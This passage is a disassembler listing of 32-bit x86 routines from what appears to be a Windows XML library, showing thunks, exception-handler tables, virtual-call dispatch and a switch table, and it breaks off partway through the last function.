sub_69B3F4F7 proc near ; DATA XREF: .text:69B12418o
; .text:69B16108o ...
sub ecx, 2Ch
jmp sub_69B186A8
sub_69B3F4F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F4FF proc near ; DATA XREF: .text:69B1241Co
; .text:69B21F8Co
sub ecx, 2Ch
jmp sub_69B3D1F0
sub_69B3F4FF endp
; =============== S U B R O U T I N E =======================================
sub_69B3F507 proc near ; DATA XREF: .text:69B1BFD4o
; .text:69B2209Co
mov eax, [ecx]
jmp dword ptr [eax+50h]
sub_69B3F507 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F50C proc near ; DATA XREF: .text:69B1BFD8o
; .text:69B220A0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov [ecx+78h], eax
retn 4
sub_69B3F50C endp
; =============== S U B R O U T I N E =======================================
sub_69B3F516 proc near ; DATA XREF: .text:69B1BFDCo
; .text:69B220A4o
mov eax, [ecx+78h]
retn
sub_69B3F516 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F51A proc near ; DATA XREF: .text:69B124D0o
; .text:69B22040o
xor eax, eax
cmp [ecx+8Eh], al
jz short loc_69B3F529
cmp [ecx+69h], al
jnz short locret_69B3F52C
loc_69B3F529: ; CODE XREF: sub_69B3F51A+8j
xor eax, eax
inc eax
locret_69B3F52C: ; CODE XREF: sub_69B3F51A+Dj
retn
sub_69B3F51A endp
; =============== S U B R O U T I N E =======================================
sub_69B3F52D proc near ; DATA XREF: .text:69B1BFF4o
arg_4 = dword ptr 8
cmp [esp+arg_4], 2
jnz short locret_69B3F53B
mov byte ptr [ecx+0B2h], 1
locret_69B3F53B: ; CODE XREF: sub_69B3F52D+5j
retn 14h
sub_69B3F52D endp
; =============== S U B R O U T I N E =======================================
sub_69B3F53E proc near ; DATA XREF: .text:69B1248Co
; .text:69B21FFCo
arg_0 = dword ptr 4
sub [esp+arg_0], 24h
jmp sub_69B1E09D
sub_69B3F53E endp
; ---------------------------------------------------------------------------
loc_69B3F548: ; DATA XREF: .text:69B12444o
; .text:69B21FB4o
sub dword ptr [esp+4], 28h
jmp sub_69B1E09D
; =============== S U B R O U T I N E =======================================
sub_69B3F552 proc near ; DATA XREF: .text:69B12478o
; .text:69B21FE8o
arg_0 = dword ptr 4
sub ecx, 4
jmp sub_69B3D5E1
sub_69B3F552 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F55A proc near ; DATA XREF: .text:69B12404o
; .text:69B21F74o
arg_0 = dword ptr 4
sub [esp+arg_0], 2Ch
jmp sub_69B1E09D
sub_69B3F55A endp
; =============== S U B R O U T I N E =======================================
sub_69B3F564 proc near ; CODE XREF: sub_69B3F570+3j
; DATA XREF: .text:69B124CCo ...
mov ecx, [ecx+48h]
test ecx, ecx
jnz sub_69B2E875
retn
sub_69B3F564 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F570 proc near ; DATA XREF: .text:69B12484o
; .text:69B21FF4o
sub ecx, 4
jmp short sub_69B3F564
sub_69B3F570 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F575 proc near ; DATA XREF: .text:69B124BCo
sub ecx, 24h
jmp sub_69B3EF5A
sub_69B3F575 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F57D proc near ; DATA XREF: .text:69B12474o
sub ecx, 28h
jmp sub_69B3EF5A
sub_69B3F57D endp
; =============== S U B R O U T I N E =======================================
sub_69B3F585 proc near ; DATA XREF: .text:69B12434o
sub ecx, 2Ch
jmp sub_69B3EF5A
sub_69B3F585 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F58D proc near ; DATA XREF: .text:69B1BFD0o
; .text:69B22098o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov esi, ecx
call sub_69B3DF21
lea ecx, [esi+0Ch]
call sub_69B89F54
mov ecx, [esp+8+arg_0]
call sub_69B2F43C
push eax
lea edi, [esi+48h]
push edi
call sub_69B17320
push edi
lea ecx, [esi+44h]
call sub_69B4D414
xor eax, eax
push eax
push eax
push eax
push [esp+14h+arg_4]
mov ecx, esi
call sub_69B3EBE4
pop edi
pop esi
retn 8
sub_69B3F58D endp
; =============== S U B R O U T I N E =======================================
sub_69B3F5CF proc near ; DATA XREF: .text:69B124C4o
; .text:69B22034o
push 10h
push offset dword_69B3F698
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor ebx, ebx
mov [ebp-20h], ebx
mov [ebp-4], ebx
lea edi, [esi-24h]
mov ecx, edi
call sub_69B3E0AB
lea ecx, [esi-18h]
call sub_69B89F54
push dword ptr [ebp+8]
push ebx
push ebx
xor eax, eax
mov al, [esi+68h]
push eax
mov ecx, edi
call sub_69B3EBE4
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B3F63A
; ---------------------------------------------------------------------------
loc_69B3F612: ; DATA XREF: .text:69B3F69Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3F61B: ; DATA XREF: .text:69B3F6A0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B3F63A: ; CODE XREF: sub_69B3F5CF+41j
mov dword ptr [ebp-4], 1
push dword ptr [ebp-20h]
lea ecx, [esi-24h]
call sub_69B3E1E4
mov byte ptr [esi+0A5h], 1
jmp short loc_69B3F67C
; ---------------------------------------------------------------------------
loc_69B3F655: ; DATA XREF: .text:69B3F6A8o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3F65E: ; DATA XREF: .text:69B3F6ACo
mov esp, [ebp-18h]
cmp dword ptr [ebp-20h], 0
jnz short loc_69B3F67C
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
loc_69B3F67C: ; CODE XREF: sub_69B3F5CF+84j
; sub_69B3F5CF+96j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-20h], 0
jz short loc_69B3F68B
call sub_69B2E860
loc_69B3F68B: ; CODE XREF: sub_69B3F5CF+B5j
call sub_69B1853C
retn 4
sub_69B3F5CF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3F698 dd 0FFFFFFFFh dd offset loc_69B3F612
dd offset loc_69B3F61B
dd 0FFFFFFFFh
dd offset loc_69B3F655
dd offset loc_69B3F65E
; =============== S U B R O U T I N E =======================================
sub_69B3F6B0 proc near ; DATA XREF: .text:69B1247Co
; .text:69B21FECo
push 10h
push offset dword_69B3F778
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor ebx, ebx
mov [ebp-20h], ebx
mov [ebp-4], ebx
lea edi, [esi-28h]
mov ecx, edi
call sub_69B3E0AB
lea ecx, [esi-1Ch]
call sub_69B89F54
push ebx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
cmp [ebp+8], bl
setz al
push eax
mov ecx, edi
call sub_69B3EBE4
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B3F71E
; ---------------------------------------------------------------------------
loc_69B3F6F6: ; DATA XREF: .text:69B3F77Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3F6FF: ; DATA XREF: .text:69B3F780o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B3F71E: ; CODE XREF: sub_69B3F6B0+44j
mov dword ptr [ebp-4], 1
push dword ptr [ebp-20h]
lea ecx, [esi-28h]
call sub_69B3E1E4
mov byte ptr [esi+0A1h], 1
jmp short loc_69B3F760
; ---------------------------------------------------------------------------
loc_69B3F739: ; DATA XREF: .text:69B3F788o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3F742: ; DATA XREF: .text:69B3F78Co
mov esp, [ebp-18h]
cmp dword ptr [ebp-20h], 0
jnz short loc_69B3F760
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
loc_69B3F760: ; CODE XREF: sub_69B3F6B0+87j
; sub_69B3F6B0+99j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-20h], 0
jz short loc_69B3F76F
call sub_69B2E860
loc_69B3F76F: ; CODE XREF: sub_69B3F6B0+B8j
call sub_69B1853C
retn 10h
sub_69B3F6B0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B3F778 dd 0FFFFFFFFh dd offset loc_69B3F6F6
dd offset loc_69B3F6FF
dd 0FFFFFFFFh
dd offset loc_69B3F739
dd offset loc_69B3F742
; =============== S U B R O U T I N E =======================================
sub_69B3F790 proc near ; DATA XREF: .text:69B1BFE0o
; .text:69B220A8o
push 10h
push offset dword_69B3F888
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
and dword ptr [ebp-20h], 0
lea edi, [esi+84h]
cmp byte ptr [edi], 0
jz short loc_69B3F7BA
mov eax, 8000000Ah
jmp loc_69B3F880
; ---------------------------------------------------------------------------
loc_69B3F7BA: ; CODE XREF: sub_69B3F790+1Ej
mov eax, [esi+60h]
test eax, eax
jz loc_69B3F87E
mov ecx, [esi+40h]
cmp ecx, 4
jz loc_69B3F87E
test ecx, ecx
jz loc_69B3F87E
mov byte ptr [edi], 1
and dword ptr [ebp-4], 0
mov ecx, [eax]
push eax
call dword ptr [ecx+64h]
mov [ebp-20h], eax
cmp eax, 4
jz short loc_69B3F810
cmp eax, 3
jz short loc_69B3F810
mov eax, [esi+60h]
mov ecx, [eax]
mov dl, [esi+8Ch]
neg dl
sbb edx, edx
and edx, 1001h
dec edx
push edx
push eax
call dword ptr [ecx+60h]
jmp short loc_69B3F819
; ---------------------------------------------------------------------------
loc_69B3F810: ; CODE XREF: sub_69B3F790+5Cj
; sub_69B3F790+61j
mov eax, [esi+60h]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
loc_69B3F819: ; CODE XREF: sub_69B3F790+7Ej
mov [ebp-20h], eax
mov ebx, 8000000Ah
cmp eax, ebx
jz short loc_69B3F872
cmp eax, 0C00CE551h
jnz short loc_69B3F838
mov eax, [esi+60h]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
mov [ebp-20h], eax
loc_69B3F838: ; CODE XREF: sub_69B3F790+9Aj
cmp dword ptr [ebp-20h], 0C00CE550h
jnz short loc_69B3F846
mov [ebp-20h], ebx
jmp short loc_69B3F872
; ---------------------------------------------------------------------------
loc_69B3F846: ; CODE XREF: sub_69B3F790+AFj
mov byte ptr [edi], 0
mov ecx, esi
call sub_69B3EE2A
jmp short loc_69B3F872
; ---------------------------------------------------------------------------
loc_69B3F852: ; DATA XREF: .text:69B3F88Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3F85B: ; DATA XREF: .text:69B3F890o
mov esp, [ebp-18h]
mov ecx, [ebp-1Ch]
lea edi, [ecx+84h]
mov byte ptr [edi], 0
push dword ptr [ecx+60h]
call sub_69B3E43A
loc_69B3F872: ; CODE XREF: sub_69B3F790+93j
; sub_69B3F790+B4j ...
or dword ptr [ebp-4], 0FFFFFFFFh
mov byte ptr [edi], 0
mov eax, [ebp-20h]
jmp short loc_69B3F880
; ---------------------------------------------------------------------------
loc_69B3F87E: ; CODE XREF: sub_69B3F790+2Fj
; sub_69B3F790+3Bj ...
xor eax, eax
loc_69B3F880: ; CODE XREF: sub_69B3F790+25j
; sub_69B3F790+ECj
call sub_69B1853C
retn
sub_69B3F790 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B3F888 dd 0FFFFFFFFh dd offset loc_69B3F852
dd offset loc_69B3F85B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3F894 proc near ; CODE XREF: sub_69B3F8DC+5j
; .text:69B3F8E8j ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
call dword_69B92948
mov esi, eax
test esi, esi
jnz short loc_69B3F8AE
mov eax, 80004005h
jmp short loc_69B3F8D7
; ---------------------------------------------------------------------------
loc_69B3F8AE: ; CODE XREF: sub_69B3F894+11j
push edi
push [ebp+arg_0]
lea ecx, [ebp+var_C]
push esi
call sub_69B1B406
mov ecx, [ebp+arg_0]
call sub_69B3F0A6
lea ecx, [ebp+var_C]
mov edi, eax
call sub_69B1976C
push esi
call dword_69B92944
mov eax, edi
pop edi
loc_69B3F8D7: ; CODE XREF: sub_69B3F894+18j
pop esi
leave
retn 4
sub_69B3F894 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F8DC proc near ; DATA XREF: .text:69B12490o
; .text:69B22000o
arg_0 = dword ptr 4
sub [esp+arg_0], 24h
jmp short sub_69B3F894
sub_69B3F8DC endp
; ---------------------------------------------------------------------------
loc_69B3F8E3: ; DATA XREF: .text:69B12448o
; .text:69B21FB8o
sub dword ptr [esp+4], 28h
jmp short sub_69B3F894
; =============== S U B R O U T I N E =======================================
sub_69B3F8EA proc near ; DATA XREF: .text:69B12408o
; .text:69B21F78o
arg_0 = dword ptr 4
sub [esp+arg_0], 2Ch
jmp short sub_69B3F894
sub_69B3F8EA endp
; =============== S U B R O U T I N E =======================================
sub_69B3F8F1 proc near ; CODE XREF: .text:69B3F47Ej
; .text:69B3F4B0j ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B3F305
test [esp+4+arg_0], 1
jz short loc_69B3F906
push esi
call sub_69B1829F
loc_69B3F906: ; CODE XREF: sub_69B3F8F1+Dj
mov eax, esi
pop esi
retn 4
sub_69B3F8F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3F90C proc near ; CODE XREF: sub_69B3C634+17Cp
; sub_69B3FBE9+6p
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
push 0F0h
mov edi, ecx
call sub_69B17EF3
test eax, eax
jz short loc_69B3F930
mov ecx, eax
call sub_69B1BCE3
mov esi, eax
jmp short loc_69B3F932
; ---------------------------------------------------------------------------
loc_69B3F930: ; CODE XREF: sub_69B3F90C+17j
xor esi, esi
loc_69B3F932: ; CODE XREF: sub_69B3F90C+22j
mov ecx, esi
call sub_69B17275
mov ecx, edi
mov ebx, eax
call sub_69B17275
cmp eax, ebx
setnz [ebp+var_1]
mov eax, esi
neg eax
lea ecx, [esi+0Ch]
sbb eax, eax
and eax, ecx
push eax
lea ecx, [edi+0Ch]
call sub_69B89804
cmp [ebp+arg_0], 0
mov al, [edi+8Dh]
mov [esi+8Dh], al
mov al, [edi+8Ch]
mov [esi+8Ch], al
mov eax, [edi+0E4h]
mov [esi+0E4h], eax
mov eax, [edi+7Ch]
mov [esi+7Ch], eax
mov eax, [edi+80h]
mov [esi+80h], eax
jz loc_69B3FB26
cmp [ebp+var_1], 0
jz short loc_69B3F9C3
push dword ptr [edi+44h]
call sub_69B2F0C4
lea ecx, [esi+44h]
push eax
push ecx
call sub_69B17320
push dword ptr [edi+48h]
call sub_69B2F0C4
lea ecx, [esi+48h]
push eax
push ecx
jmp short loc_69B3F9D6
; ---------------------------------------------------------------------------
loc_69B3F9C3: ; CODE XREF: sub_69B3F90C+94j
push dword ptr [edi+44h]
lea eax, [esi+44h]
push eax
call sub_69B17320
push dword ptr [edi+48h]
lea eax, [esi+48h]
push eax
loc_69B3F9D6: ; CODE XREF: sub_69B3F90C+B5j
call sub_69B17320
mov eax, [edi+40h]
mov [esi+40h], eax
lea eax, [edi+0A8h]
lea ecx, [esi+0A8h]
push eax
call sub_69B4D414
lea eax, [edi+68h]
push eax
lea ecx, [esi+68h]
call sub_69B4D414
mov ecx, [edi+70h]
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea ebx, [esi+70h]
push ebx
call sub_69B17320
mov ecx, [edi+88h]
test ecx, ecx
jz short loc_69B3FA64
push esi
call sub_69B8BF13
lea ecx, [esi+88h]
push eax
push ecx
call sub_69B17320
cmp [ebp+var_1], 0
jz short loc_69B3FA64
mov eax, [edi+88h]
mov eax, [eax+5Ch]
test eax, eax
jz short loc_69B3FA64
mov edx, [eax+0Ch]
mov eax, [eax+8]
mov ebx, [ebx]
push edx
push 0
push eax
mov ecx, ebx
call sub_69B3DA18
push eax
mov eax, [esi+88h]
add eax, 5Ch
push eax
call sub_69B17320
loc_69B3FA64: ; CODE XREF: sub_69B3F90C+10Dj
; sub_69B3F90C+126j ...
mov ecx, [ebp+arg_4]
test ecx, ecx
mov eax, [esi+50h]
mov ebx, [esi+4Ch]
mov [ebp+var_1C], 0
mov [ebp+var_18], esi
mov [ebp+var_14], eax
mov [ebp+var_10], 1
jz short loc_69B3FA83
mov eax, [ecx]
jmp short loc_69B3FA85
; ---------------------------------------------------------------------------
loc_69B3FA83: ; CODE XREF: sub_69B3F90C+171j
xor eax, eax
loc_69B3FA85: ; CODE XREF: sub_69B3F90C+175j
test eax, eax
mov dl, [ebp+var_1]
mov [ebp+var_C], eax
mov [ebp+var_8], dl
jz short loc_69B3FB09
mov eax, [eax+8]
shr eax, 0Ah
test al, 1
jz short loc_69B3FB09
mov edi, [ecx]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
jmp short loc_69B3FAB6
; ---------------------------------------------------------------------------
loc_69B3FAAA: ; CODE XREF: sub_69B3F90C+1ACj
mov edx, [eax]
mov ecx, eax
mov edi, eax
call dword ptr [edx+0F4h]
loc_69B3FAB6: ; CODE XREF: sub_69B3F90C+19Cj
test eax, eax
jnz short loc_69B3FAAA
mov al, [edi+0Bh]
and al, 1Fh
cmp al, 11h
lea eax, [ebp+var_1C]
mov ecx, edi
push eax
jnz short loc_69B3FAD5
push ebx
push 0
push 1
call sub_69B49816
jmp short loc_69B3FAE4
; ---------------------------------------------------------------------------
loc_69B3FAD5: ; CODE XREF: sub_69B3F90C+1BBj
push 1
call sub_69B497AC
push eax
mov ecx, ebx
call sub_69B483A4
loc_69B3FAE4: ; CODE XREF: sub_69B3F90C+1C7j
xor edi, edi
push edi
lea eax, [esi+44h]
push eax
call sub_69B17320
push edi
lea eax, [esi+48h]
push eax
call sub_69B17320
push edi
lea eax, [esi+0A8h]
push eax
call sub_69B17320
jmp short loc_69B3FB1A
; ---------------------------------------------------------------------------
loc_69B3FB09: ; CODE XREF: sub_69B3F90C+184j
; sub_69B3F90C+18Ej
mov ecx, [edi+4Ch]
lea eax, [ebp+var_1C]
push eax
push ebx
push 0
push 1
call sub_69B49816
loc_69B3FB1A: ; CODE XREF: sub_69B3F90C+1FBj
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_69B3FB26
mov ecx, [ebp+var_C]
mov [eax], ecx
loc_69B3FB26: ; CODE XREF: sub_69B3F90C+8Aj
; sub_69B3F90C+213j
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 8
sub_69B3F90C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3FB2F(LPCWSTR lpString)
sub_69B3FB2F proc near ; CODE XREF: sub_69B57792+80p
var_4 = dword ptr -4
lpString = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0
push offset dword_69B3FBE0 ; lpMultiByteStr
mov edi, ecx
call sub_69B1D494
push eax
push [ebp+lpString] ; lpString
call sub_69B1A587
push eax
push offset dword_69B3FBD8 ; lpMultiByteStr
call sub_69B1D494
push eax
call sub_69B2F2CA
add esp, 10h
push 0F0h
mov [ebp+lpString], eax
call sub_69B17EF3
test eax, eax
jz short loc_69B3FB7C
mov ecx, eax
call sub_69B1BCE3
mov esi, eax
jmp short loc_69B3FB7E
; ---------------------------------------------------------------------------
loc_69B3FB7C: ; CODE XREF: sub_69B3FB2F+40j
xor esi, esi
loc_69B3FB7E: ; CODE XREF: sub_69B3FB2F+4Bj
lea eax, [ebp+var_4]
push eax
mov ecx, esi
mov byte ptr [esi+8Dh], 1
mov dword ptr [esi+40h], 4
call sub_69B3DE0E
mov eax, [ebp+var_4]
mov byte ptr [eax+0B8h], 1
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
push [ebp+lpString]
mov ecx, esi
call sub_69B3F10D
push 0
mov ecx, esi
call sub_69B3DC8C
mov edx, [edi+50h]
push 0
push edx
push edi
push 0
push 1
mov ecx, eax
call sub_69B3D586
pop edi
pop esi
leave
retn 4
sub_69B3FB2F endp
; ---------------------------------------------------------------------------
align 4
; char dword_69B3FBD8[]
dword_69B3FBD8 dd 6D783F3Ch, 9000206Ch; char dword_69B3FBE0[]
dword_69B3FBE0 dd 783C3E3Fh, 3E2F6C6Dh db 0
; =============== S U B R O U T I N E =======================================
sub_69B3FBE9 proc near ; DATA XREF: .text:69B1BFBCo
; .text:69B22084o
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_69B3F90C
retn 4
sub_69B3FBE9 endp
; =============== S U B R O U T I N E =======================================
sub_69B3FBF7 proc near ; CODE XREF: sub_69B40A6C+55p
; sub_69B40CBC+5Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
lea ecx, [esi+8]
call sub_69B1B552
push [esp+4+arg_4]
mov ecx, esi
push 0
push [esp+0Ch+arg_0]
call sub_69B4639C
mov eax, esi
pop esi
retn 8
sub_69B3FBF7 endp
; =============== S U B R O U T I N E =======================================
sub_69B3FC21 proc near ; CODE XREF: sub_69B40658+43p
; sub_69B406DD+66p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
lea ecx, [esi+4]
call sub_69B1B552
push [esp+4+arg_4]
mov ecx, esi
push 0
push [esp+0Ch+arg_0]
call sub_69B18B65
mov eax, esi
pop esi
retn 8
sub_69B3FC21 endp
; =============== S U B R O U T I N E =======================================
sub_69B3FC4B proc near ; CODE XREF: sub_69B6C1E9+1FBp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, dword_69B984E8[eax*4]
retn 4
sub_69B3FC4B endp
; =============== S U B R O U T I N E =======================================
sub_69B3FC59 proc near ; CODE XREF: sub_69B1E570+5BEFp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short locret_69B3FC6A
lea ecx, [eax+0Ch]
mov eax, [ecx]
push 1
call dword ptr [eax]
locret_69B3FC6A: ; CODE XREF: sub_69B3FC59+6j
retn 4
sub_69B3FC59 endp
; =============== S U B R O U T I N E =======================================
sub_69B3FC6D proc near ; CODE XREF: sub_69B41180+38p
; sub_69B43E46+13p
push esi
push edi
mov edi, ecx
lea esi, [edi+20h]
cmp dword ptr [esi], 0
jnz short loc_69B3FCA6
push 30h
call sub_69B1D897
test eax, eax
jz short loc_69B3FC90
push edi
mov ecx, eax
call sub_69B53388
mov edi, eax
jmp short loc_69B3FC92
; ---------------------------------------------------------------------------
loc_69B3FC90: ; CODE XREF: sub_69B3FC6D+15j
xor edi, edi
loc_69B3FC92: ; CODE XREF: sub_69B3FC6D+21j
push 0
push edi
push esi
call dword_69B92950 ; InterlockedCompareExchange
test eax, eax
jz short loc_69B3FCA6
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_69B3FCA6: ; CODE XREF: sub_69B3FC6D+Aj
; sub_69B3FC6D+31j
mov eax, [esi]
pop edi
pop esi
retn
sub_69B3FC6D endp
; =============== S U B R O U T I N E =======================================
sub_69B3FCAB proc near ; DATA XREF: .data:69B98B6Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+0Ch]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FCAB endp
; =============== S U B R O U T I N E =======================================
sub_69B3FCBB proc near ; DATA XREF: .data:69B98BBCo
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+24h]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FCBB endp
; =============== S U B R O U T I N E =======================================
sub_69B3FCCB proc near ; DATA XREF: .data:69B98BE4o
; .data:69B98CACo ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FCCB endp
; =============== S U B R O U T I N E =======================================
sub_69B3FCDB proc near ; DATA XREF: .data:69B98B44o
; .data:69B98C0Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+10h]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FCDB endp
; =============== S U B R O U T I N E =======================================
sub_69B3FCEB proc near ; DATA XREF: .data:69B98C34o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+18h]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FCEB endp
; =============== S U B R O U T I N E =======================================
sub_69B3FCFB proc near ; DATA XREF: .data:69B98CD4o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+20h]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FCFB endp
; =============== S U B R O U T I N E =======================================
sub_69B3FD0B proc near ; DATA XREF: .data:69B98C5Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+1Ch]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FD0B endp
; =============== S U B R O U T I N E =======================================
sub_69B3FD1B proc near ; DATA XREF: .data:69B98D74o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+4]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FD1B endp
; =============== S U B R O U T I N E =======================================
sub_69B3FD2B proc near ; DATA XREF: .data:69B98DC4o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea ecx, [eax+14h]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B3FD2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3FD3B proc near ; DATA XREF: .data:69B98B18o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
add eax, 0FFFFFF9Fh
cmp eax, 9 ; switch 10 cases
push esi
push edi
ja loc_69B3FE79 ; default
; jumptable 69B3FD50 case 1
jmp ds:off_69B3FE85[eax*4] ; switch jump
loc_69B3FD57: ; DATA XREF: .text:off_69B3FE85o
mov edx, [ebp+arg_10] ; jumptable 69B3FD50 case 0
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0ACh]
jmp loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FD6F: ; CODE XREF: sub_69B3FD3B+15j
; DATA XREF: .text:off_69B3FE85o
mov eax, [ebp+arg_8] ; jumptable 69B3FD50 case 2
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B3FD7D
mov eax, [eax]
loc_69B3FD7D: ; CODE XREF: sub_69B3FD3B+3Ej
push [ebp+arg_10]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+0B0h]
jmp loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FD92: ; CODE XREF: sub_69B3FD3B+15j
; DATA XREF: .text:off_69B3FE85o
mov eax, [ebp+arg_8] ; jumptable 69B3FD50 case 3
test byte ptr [eax+1], 40h
jz short loc_69B3FDA2
mov ecx, [eax+8]
mov edx, [ecx]
jmp short loc_69B3FDA5
; ---------------------------------------------------------------------------
loc_69B3FDA2: ; CODE XREF: sub_69B3FD3B+5Ej
mov edx, [eax+8]
loc_69B3FDA5: ; CODE XREF: sub_69B3FD3B+65j
mov ecx, [ebp+arg_0]
mov ebx, [ecx]
sub esp, 10h
mov edi, esp
lea esi, [eax+18h]
movsd
movsd
movsd
push edx
push ecx
movsd
call dword ptr [ebx+0B4h]
jmp loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FDC3: ; CODE XREF: sub_69B3FD3B+15j
; DATA XREF: .text:off_69B3FE85o
mov eax, [ebp+arg_8] ; jumptable 69B3FD50 case 4
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B3FDD1
mov eax, [eax]
loc_69B3FDD1: ; CODE XREF: sub_69B3FD3B+92j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+0B8h]
jmp loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FDE3: ; CODE XREF: sub_69B3FD3B+15j
; DATA XREF: .text:off_69B3FE85o
mov eax, [ebp+arg_8] ; jumptable 69B3FD50 case 5
test byte ptr [eax+1], 40h
jz short loc_69B3FDF3
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B3FDF6
; ---------------------------------------------------------------------------
loc_69B3FDF3: ; CODE XREF: sub_69B3FD3B+AFj
mov ecx, [eax+8]
loc_69B3FDF6: ; CODE XREF: sub_69B3FD3B+B6j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0BCh]
